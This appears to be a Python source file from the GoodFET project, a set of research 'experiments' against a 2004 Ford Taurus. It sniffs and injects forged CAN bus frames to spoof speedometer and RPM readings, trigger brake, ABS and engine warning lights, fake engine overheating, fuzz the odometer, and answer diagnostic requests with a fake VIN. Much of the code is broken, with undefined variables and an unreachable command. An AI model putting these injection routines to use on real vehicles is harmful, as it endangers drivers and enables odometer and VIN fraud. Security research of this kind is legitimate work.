0c5b9e4cdb90399e4e23a984db77ff894e115995
[goodfet] / client / FordExperiments.py
1 import sys;
2 import binascii;
3 import array;
4 import csv, time, argparse;
5 import datetime
6 import os
7 from random import randrange
8 from GoodFETMCPCAN import GoodFETMCPCAN;
9 from experiments import experiments
10 from GoodFETMCPCANCommunication import GoodFETMCPCANCommunication
11 from intelhex import IntelHex;
12 import Queue
13 import math
14
15 tT = time
16 class FordExperiments(experiments):
17     """
18     This class is a subclass of experiments and is a car specific module for 
19     demonstrating and testing hacks. 
20     """
21     def __init__(self, dataLocation = "../../contrib/ThayerData/"):
22         GoodFETMCPCANCommunication.__init__(self, dataLocation)
23         #super(FordExperiments,self).__init__(self) #initialize chip
24         self.freq = 500;
25
26     def mimic1056(self,packetData,runTime):
27         #setup chip
28         self.client.serInit()
29         self.spitSetup(self.freq)
30         #FIGURE out how to clear buffers
31         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
32         packet1 = self.client.rxpacket();
33         if(packet1 != None):
34             packetParsed = self.client.packet2parsed(packet1);
35         #keep sniffing till we read a packet
36         while( packet1 == None or packetParsed.get('sID') != 1056 ):
37             packet1 = self.client.rxpacket()
38             if(packet1 != None):
39                 packetParsed = self.client.packet2parsed(packet1)
40         recieveTime = time.time()
41         packetParsed = self.client.packet2parsed(packet1)
42         if( packetParsed['sID'] != 1056):
43             print "Sniffed wrong packet"
44             return
45         countInitial = ord(packetParsed['db3']) #initial count value
46         packet = []
47         #set data packet to match what was sniffed or at least what was input
48         for i in range(0,8):
49             idx = "db%d"%i
50             if(packetData.get(idx) == None):
51                 packet.append(ord(packetParsed.get(idx)))
52             else:
53                 packet.append(packetData.get(idx))
54         print packet
55         #### split SID into different regs
56         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
57         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
58         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
59                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
60                   # lower nibble is DLC                   
61                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
62         packetCount = 1;
63         self.client.txpacket(packet);
64         tpast = time.time()
65         while( (time.time()-recieveTime) < runTime):
66             #care about db3 or packet[8] that we want to count at the rate that it is
67             dT = time.time()-tpast
68             if( dT/0.2 >= 1):
69                 db3 = (countInitial + math.floor((time.time()-recieveTime)/0.2))%255
70                 packet[8] = db3
71                 self.client.txpacket(packet)
72                 packetCount += 1
73             else:
74                 packetCount += 1
75                 self.client.MCPrts(TXB0=True)
76             tpast = time.time()  #update our transmit time on the one before   
77             
78                 
79          
80     def cycledb1_1056(self,runTime):
81         #setup chip
82         self.client.serInit()
83         self.spitSetup(500)
84         #FIGURE out how to clear buffers
85         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
86         packet1 = self.client.rxpacket();
87         if(packet1 != None):
88             packetParsed = self.client.packet2parsed(packet1);
89         #keep sniffing till we read a packet
90         while( packet1 == None or packetParsed.get('sID') != 1056 ):
91             time.sleep(.1)
92             packet1 = self.client.rxpacket()
93             if(packet1 != None):
94                 packetParsed = self.client.packet2parsed(packet1)
95         recieveTime = time.time()
96         packetParsed = self.client.packet2parsed(packet1)
97         if( packetParsed['sID'] != 1056):
98             print "Sniffed wrong packet"
99             return
100         packet = []
101         #set data packet to match what was sniffed or at least what was input
102         for i in range(0,8):
103             idx = "db%d"%i
104             packet.append(ord(packetParsed.get(idx)))
105         packetValue = 0
106         packet[1] = packetValue;
107         
108         print packet
109         #### split SID into different regs
110         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
111         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
112         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
113                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
114                   # lower nibble is DLC                   
115                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
116         packetCount = 1;
117         self.client.txpacket(packet);
118         tpast = time.time()
119         while( (time.time()-recieveTime) < runTime):
120             #care about db3 or packet[8] that we want to count at the rate that it is
121             dT = time.time()-tpast
122             packetValue += 10
123             pV = packetValue%255
124             #temp = ((packetValue+1))%2
125             #if( temp == 1):
126             #    pV = packetValue%255
127             #else:
128             #    pV = 0
129             packet[6] = pV
130             #packet[6] = 1
131             print packet
132             self.client.txpacket(packet)
133             packetCount += 1
134             tpast = time.time()  #update our transmit time on the one before   
135         print packetCount;
136         
137     def getBackground(self,sId):
138         """
139         This method gets the background packets for the given id. This
140         is a simple "background" retriever in that it returns the packet
141         that is of the given id that was sniffed off the bus.
142         """
143         packet1 = self.client.rxpacket();
144         if(packet1 != None):
145             packetParsed = self.client.packet2parsed(packet1);
146         #keep sniffing till we read a packet
147         while( packet1 == None or packetParsed.get('sID') != sId ):
148             packet1 = self.client.rxpacket()
149             if(packet1 != None):
150                 packetParsed = self.client.packet2parsed(packet1)
151             
152         #recieveTime = time.time()
153         return packetParsed
154
155     def cycle4packets1279(self):
156         self.client.serInit()
157         self.spitSetup(500)
158         # filter on 1279
159         self.addFilter([1279, 1279, 1279, 1279, 1279, 1279], verbose = False)
160         packetParsed = self.getBackground(1279)
161         packet = []
162         if (packetParsed[db0] == 16):
163             # if it's the first of the four packets, replace the value in db7  with 83
164             packetParsed[db7] = 83
165             # transmit new packet
166             self.client.txpacket(packetParsed)
167         else:
168         # otherwise, leave it alone
169             # transmit same pakcet we read in
170             self.client.txpacket(packetParsed)
171         # print the packet we are transmitting
172         print packetParsed
173         
174         
175     def oscillateTemperature(self,time):
176         """
177         
178         
179         """
180         #setup chip
181         self.client.serInit()
182         self.spitSetup(500)
183         #FIGURE out how to clear buffers
184         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
185         packetParsed = self.getBackground(1056)
186         packet = []
187         #set data packet to match what was sniffed or at least what was input
188         for i in range(0,8):
189             idx = "db%d"%i
190             packet.append(ord(packetParsed.get(idx)))
191         packetValue = 0
192         packet[1] = packetValue;
193         
194         print packet
195         #### split SID into different regs
196         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
197         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
198         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
199                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
200                   # lower nibble is DLC                   
201                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
202         packetCount = 1;
203         self.client.txpacket(packet);
204         startTime = tT.time()
205         while( (tT.time()-startTime) < runTime):
206             dt = tT.time()-startTime
207             inputValue = ((2.0*math.pi)/20.0)*dt
208             value = 30*math.sin(inputValue)+130
209             print value
210             #packet[5] = int(value)
211             if( value > 130 ):
212                 packet[5] = 160
213             else:
214                 packet[5] = 100
215             #packet[6] = 1
216             print packet
217             self.client.txpacket(packet)
218             packetCount += 1
219             #tpast = time.time()  #update our transmit time on the one before   
220         print packetCount;
221         
222         
223     def fakeVIN(self):
224        #reset eveything on the chip
225        self.client.serInit() 
226        self.reset()
227        duration = 20; #seconds 
228        
229        listenID = 2015
230        listenPacket = [2, 9, 6, 153, 153, 153, 153, 153]
231        responseID = 2024
232        #actual response by the car
233        #r1 = [34, 88, 0, 0, 0, 0, 0, 0]
234        #r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
235        #r3 = [16, 19, 73, 4, 1, 70, 65, 66]
236        
237        r1 = [34, 88, 0, 0, 0, 0, 0, 0]
238        r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
239        r3 = [16, 19, 73, 160, 159, 70, 65, 66]
240        
241        #format
242        SIDlow = (responseID & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
243        SIDhigh = (responseID >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
244        packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
245                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
246                   # lower nibble is DLC                   
247                  r1[0],r1[1],r1[2],r1[3],r1[4],r1[5],r1[6],r1[7]]
248        packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
249               0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
250                   # lower nibble is DLC                   
251                  r2[0],r2[1],r2[2],r2[3],r2[4],r2[5],r2[6],r2[7]]
252        packet3 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
253                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
254                   # lower nibble is DLC                   
255                  r3[0],r3[1],r3[2],r3[3],r3[4],r3[5],r3[6],r3[7]]
256
257        self.multiPacketSpit(packet0 = r1, packet1 = r2, packet2 = r3, packet0rts = True, packet1rts = True, packet2rts = True)
258
259        #filter for the correct packet
260        self.filterForPacket(listenID, listenPacket[0],listenPacket[1], verbose = True)
261        self.client.rxpacket()
262        self.client.rxpacket() # flush buffers if there is anything
263        startTime = tT.time()
264        while( (tT.time() -startTime) < duration):
265            packet = self.client.rxpacket()
266            if( packet != None):
267                sid =  ord(packet[0])<<3 | ord(packet[1])>>5
268                if( sid == listenID):
269                    byte3 = ord(packet[6])
270                    if( byte3 == listenPacket[3]):
271                        print "SendingPackets!"
272                        #send packets
273                        self.multpackSpit(packet0rts=True,packet1rts=True,packet2rts=True)
274                        
275     def setScanToolTemp(self,temp):
276         self.client.serInit()
277         self.spitSetup(500)
278
279         self.addFilter([2024, 2024, 2024])
280         self.client.rxpacket()
281         self.client.rxpacket()
282         self.client.rxpacket()
283         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
284         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
285               
286         startTime = time.time()  
287         #while((time.time() - startTime) < 10):
288             
289         packet = None;
290
291         # catch a packet and check its db4 value
292         while (packet == None):
293             packet=self.client.rxpacket();
294
295         
296         newTemp = math.ceil(level/1.8 + 22)
297         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
298
299             
300         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
301                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
302                        # lower nibble is DLC                   
303                        ord(packet[5]),ord(packet[6]),ord(packet[7]),newTemp,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
304
305         # load new packet into TXB0 and check time
306         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
307         starttime = time.time()
308         
309         # spit new value for 1 second
310         while (time.time()-starttime < 10):
311             self.multiPacketSpit(packet0rts=True)
312             
313     def overHeatEngine(self):
314         self.client.serInit()
315         self.spitSetup(500)
316
317         self.addFilter([1056, 1056, 1056])
318         packet = self.getBackground(1056)
319         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
320         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
321     
322         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
323                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
324                        # lower nibble is DLC                   
325                        255,ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
326         startTime = time.time()
327         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
328         while( time.time()- startTime < 10):
329             self.multiPacketSpit(packet0rts=True)
330             
331     def runOdometer(self):
332         self.client.serInit()
333         self.spitSetup(500)
334
335         self.addFilter([1056, 1056, 1056])
336         packet = self.getBackground(1056)
337         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
338         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
339         odomFuzz = random.randint(0,255)
340         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
341                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
342                        # lower nibble is DLC                   
343                        ord(packet[5]),odomFuzz,ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
344         startTime = time.time()
345         
346         while( time.time()- startTime < 10):
347             odomFuzz = random.randint(0,255)
348             newPacket[5] = odomFuzz
349             self.client.txpacket(newPacket)
350         
351     def setDashboardTemp(self, temp):
352         self.client.serInit()
353         self.spitSetup(500)
354
355         self.addFilter([1056, 1056, 1056])
356         self.client.rxpacket()
357         self.client.rxpacket()
358         self.client.rxpacket()
359         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
360         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
361               
362         startTime = time.time()  
363         #while((time.time() - startTime) < 10):
364             
365         packet = None;
366
367         # catch a packet and check its db4 value
368         while (packet == None):
369             packet=self.client.rxpacket();
370
371         
372         newTemp = math.ceil(level/1.8 + 22)
373         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
374
375             
376         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
377                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
378                        # lower nibble is DLC                   
379                        newTemp,ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
380
381         # load new packet into TXB0 and check time
382         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
383         starttime = time.time()
384         
385         # spit new value for 1 second
386         while (time.time()-starttime < 10):
387             self.multiPacketSpit(packet0rts=True)
388
389       
390     def warningLightsOn(self,checkEngine, checkTransmission, transmissionOverheated, engineLight, battery, fuelCap, checkBreakSystem,ABSLight):                 
391         self.addFilter([1056, 1056, 530, 530, 1056])
392         if( checkBreakSystem == 1 or ABSLight == 1):
393             SIDlow = (530 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
394             SIDhigh = (530 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
395             packet = self.getBackground(530)
396             packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
397                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
398                        # lower nibble is DLC                   
399                        ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
400             if( checkBreakSystem == 1 and ABSLight == 1):
401                 packet2[9] = 97
402             elif( checkBreakSystem == 0 and ABSLight == 1):
403                 packet2[9] = 16
404             elif(checkBreakSystem==1 and ABSLight == 0):
405                 packet2[9] = 64
406             packet2rts = True
407         else:
408             packet2rts = False
409             packet2 = None
410         
411         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
412         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
413         packet = self.getBackground(1056)
414         packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
415                    0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
416                    # lower nibble is DLC                   
417                    ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
418         if( checkEngine == 1):
419             packet1[9] += 2;
420             
421         if( checkTransmission == 1):
422             packet1[9] += 3;
423             
424         if( transmissionOverheated == 1):
425             packet1[9] += 4
426             
427         if( engineLight == 1):
428             packet1[9] += 64
429             
430         if( fuelCap == 1):
431             packet1[10] = 255
432         if( batter == 1):
433             packet1[6] = 33
434         
435         # load new packet into TXB0 and check time
436         self.multiPacketSpit(packet0=packet1,packet1=packet2, packet0rts=True,packet1rts=packet2rts )
437         starttime = time.time()
438         
439         # spit new value for 1 second
440         while (time.time()-starttime < 10):
441             self.multiPacketSpit(packet0rts=True,packet1rts = packet2rts)
442     
443     def fakeScanToolFuelLevel(self,level):
444         self.client.serInit()
445         self.spitSetup(500)
446
447         self.addFilter([2024, 2024, 2024])
448         self.client.rxpacket()
449         self.client.rxpacket()
450         self.client.rxpacket()
451         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
452         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
453               
454         startTime = time.time()  
455         #while((time.time() - startTime) < 10):
456             
457         packet = None;
458
459         # catch a packet and check its db4 value
460         while (packet == None):
461             packet=self.client.rxpacket();
462
463         level = int(level/.4)
464         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
465
466             
467         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
468                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
469                        # lower nibble is DLC                   
470                        ord(packet[5]),ord(packet[6]),ord(packet[7]),level,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
471
472         # load new packet into TXB0 and check time
473         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
474         starttime = time.time()
475         
476         # spit new value for 1 second
477         while (time.time()-starttime < 10):
478             self.multiPacketSpit(packet0rts=True)
479             
480     def fakeOutsideTemp(self,level):
481         self.client.serInit()
482         self.spitSetup(500)
483
484         self.addFilter([2024, 2024, 2024])
485         self.client.rxpacket()
486         self.client.rxpacket()
487         self.client.rxpacket()
488         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
489         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
490               
491         startTime = time.time()  
492         #while((time.time() - startTime) < 10):
493             
494         packet = None;
495
496         # catch a packet and check its db4 value
497         while (packet == None):
498             packet=self.client.rxpacket();
499         
500         newTemp = math.ceil(level/1.8 + 22)
501         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
502
503             
504         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
505                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
506                        # lower nibble is DLC                   
507                        ord(packet[5]),ord(packet[6]),ord(packet[7]),newTemp,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
508
509         # load new packet into TXB0 and check time
510         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
511         starttime = time.time()
512         
513         # spit new value for 1 second
514         while (time.time()-starttime < 10):
515             self.multiPacketSpit(packet0rts=True)
516
517     
518     def fakeAbsTps(self,level):
519         self.client.serInit()
520         self.spitSetup(500)
521
522         self.addFilter([2024, 2024, 2024])
523         self.client.rxpacket()
524         self.client.rxpacket()
525         self.client.rxpacket()
526         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
527         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
528               
529         startTime = time.time()  
530         #while((time.time() - startTime) < 10):
531             
532         packet = None;
533
534         # catch a packet and check its db4 value
535         while (packet == None):
536             packet=self.client.rxpacket();
537
538         abstps = int(math.ceil(level/.39))
539
540
541             
542         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
543                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
544                        # lower nibble is DLC                   
545                        ord(packet[5]),ord(packet[6]),ord(packet[7]),abstps,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
546
547         # load new packet into TXB0 and check time
548         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
549         starttime = time.time()
550         
551         # spit new value for 1 second
552         while (time.time()-starttime < 10):
553             self.multiPacketSpit(packet0rts=True)
554
555
556                        
557     def mphToByteValue(self, mph):
558         return ( mph + 63.5 ) / 1.617
559
560     def ByteValuToMph(self, value):
561         return 1.617*ord(packet[9]) - 63.5
562
563     def setMPH(self, mph):
564         self.client.serInit()
565         self.spitSetup(500)
566
567         self.addFilter([513, 513, 513])
568         self.client.rxpacket()
569         self.client.rxpacket()
570         self.client.rxpacket()
571         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
572         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
573               
574         startTime = time.time()  
575         #while((time.time() - startTime) < 10):
576             
577         packet = None;
578
579         # catch a packet and check its db4 value
580         while (packet == None):
581             packet=self.client.rxpacket();
582         
583         #print self.client.packet2str(packet)
584
585         #print "DB4 = %02d " %ord(packet[9])
586        
587         #print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
588             
589         # calculate our new mph and db4 value
590         
591         newSpeed = self.mphToByteValue(mph)
592         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
593
594             
595         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
596                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
597                        # lower nibble is DLC                   
598                        ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
599
600         # load new packet into TXB0 and check time
601         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
602         starttime = time.time()
603         
604         # spit new value for 1 second
605         while (time.time()-starttime < 10):
606             self.multiPacketSpit(packet0rts=True)
607
608
609     def speedometerHack(self, inputs):
610         
611         self.client.serInit()
612         self.spitSetup(500)
613
614         self.addFilter([513, 513, 513])
615         
616         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
617         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
618                 
619        #while(1):
620             
621         packet = None;
622
623         # catch a packet and check its db4 value
624         while (packet == None):
625             packet=self.client.rxpacket();
626         
627         print self.client.packet2str(packet)
628
629         print "DB4 = %02d " %ord(packet[9])
630         mph = 1.617*ord(packet[9]) - 63.5
631         print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
632             
633         # calculate our new mph and db4 value
634         mph = mph + inputs[0];
635         newSpeed = ( mph + 63.5 ) / 1.617
636         print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
637
638             
639         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
640                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
641                        # lower nibble is DLC                   
642                        ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
643
644         # load new packet into TXB0 and check time
645         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
646         starttime = time.time()
647         
648         # spit new value for 1 second
649         while (time.time()-starttime < 1):
650             self.multiPacketSpit(packet0rts=True)
651                 
652     def rpmToByteValue(self, rpm):
653         value = ( rpm + 61.88 ) / 64.5
654         return int(value)
655     
656     def ValueTorpm(self, value):
657         rpm = 64.5*value - 61.88
658         return rpm
659     
660     def setRPM(self, rpm):
661         self.client.serInit()
662         self.spitSetup(500)
663     
664         self.addFilter([513, 513, 513,513])
665     
666         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
667         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
668         
669         #clear buffers
670         self.client.rxpacket()
671         self.client.rxpacket()
672         self.client.rxpacket()
673
674         startTime = tT.time()
675         while((tT.time() - startTime )< 10):
676         
677             packet = None;
678         
679             # catch a packet and check its db4 value
680             while (packet == None):
681                 packet=self.client.rxpacket();
682         
683             #print self.client.packet2str(packet)
684         
685             #print "DB4 = %02d " %ord(packet[5])
686            
687             #print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
688         
689             newRPM = self.rpmToByteValue(rpm)
690             #print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
691             
692         
693             newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
694                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
695                      # lower nibble is DLC                   
696                      int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
697         
698             # load new packet into TXB0 and check time
699             self.multiPacketSpit(packet0=newPacket, packet0rts=True)
700             starttime = time.time()
701         
702             # spit new value for 1 second
703             while (time.time()-starttime < 1):
704                 self.multiPacketSpit(packet0rts=True)
705
706     def rpmHack(self, inputs):
707         """
708         This method will increase the rpm by the given rpm amount.
709         
710         @type inputs: List
711         @param inputs: Single element of a list that corresponds to the amount the user
712                        wishses to 
713         """
714     
715         self.client.serInit()
716         self.spitSetup(500)
717     
718         self.addFilter([513, 513, 513])
719     
720         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
721         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
722         startTime = tT.time()
723         while((tT.time() - startTime )< 10):
724         
725             packet = None;
726         
727             # catch a packet and check its db4 value
728             while (packet == None):
729                 packet=self.client.rxpacket();
730         
731             print self.client.packet2str(packet)
732         
733             print "DB4 = %02d " %ord(packet[5])
734             rpm = 64.5*ord(packet[5]) - 61.88
735             print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
736         
737             # calculate our new mph and db4 value
738             rpm = rpm + inputs[0];
739             newRPM = ( rpm + 61.88 ) / 64.5
740             newRPM = int(newRPM)
741             print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
742             
743         
744             newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
745                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
746                      # lower nibble is DLC                   
747                      int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
748         
749             # load new packet into TXB0 and check time
750             self.multiPacketSpit(packet0=newPacket, packet0rts=True)
751             starttime = time.time()
752         
753             # spit new value for 1 second
754             while (time.time()-starttime < 1):
755                 self.multiPacketSpit(packet0rts=True)
756
757
758     def runOdometer(self):
759         pass
760         
761 if __name__ == "__main__":
762     
763     parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,description='''\
764
765     Run Hacks on a Ford taurus 2004:
766         
767             speedometerHack
768             fakeVIN
769             rpmHack
770         ''')
771     parser.add_argument('verb', choices=['speedometerHack', 'rpmHack']);
772     parser.add_argument('-v', '--variable', type=int, action='append', help='Input values to the method of choice', default=None);
773
774
775     args = parser.parse_args();
776     inputs = args.variable
777     fe = FordExperiments("../../contrib/ThayerData/");
778     
779     if( args.verb == 'speedometerHack'):
780         fe.speedometerHack(inputs=inputs)
781     if( args.verb == 'rpmHack'):
782         fe.rpmHack(inputs=inputs)
783     elif( args.verb == 'fakeVIN'):
784         fe.fakeVIN()
785         
786